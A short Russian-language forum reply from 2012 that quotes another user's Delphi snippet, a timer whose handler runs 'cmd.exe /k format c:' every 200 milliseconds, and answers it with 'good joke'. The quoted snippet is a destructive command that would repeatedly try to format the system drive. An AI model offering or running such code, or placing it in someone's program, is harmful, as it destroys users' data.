20.11.2012, 23:11
|
#12
|
|
Пользователь
Регистрация: 26.04.2011
Сообщений: 53
Сказал Спасибо: 6
Имеет 18 спасибок в 9 сообщенях
|
Цитата:
Сообщение от Zergatul
Код:
var
t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;
|
хорошая шутка  |
|
|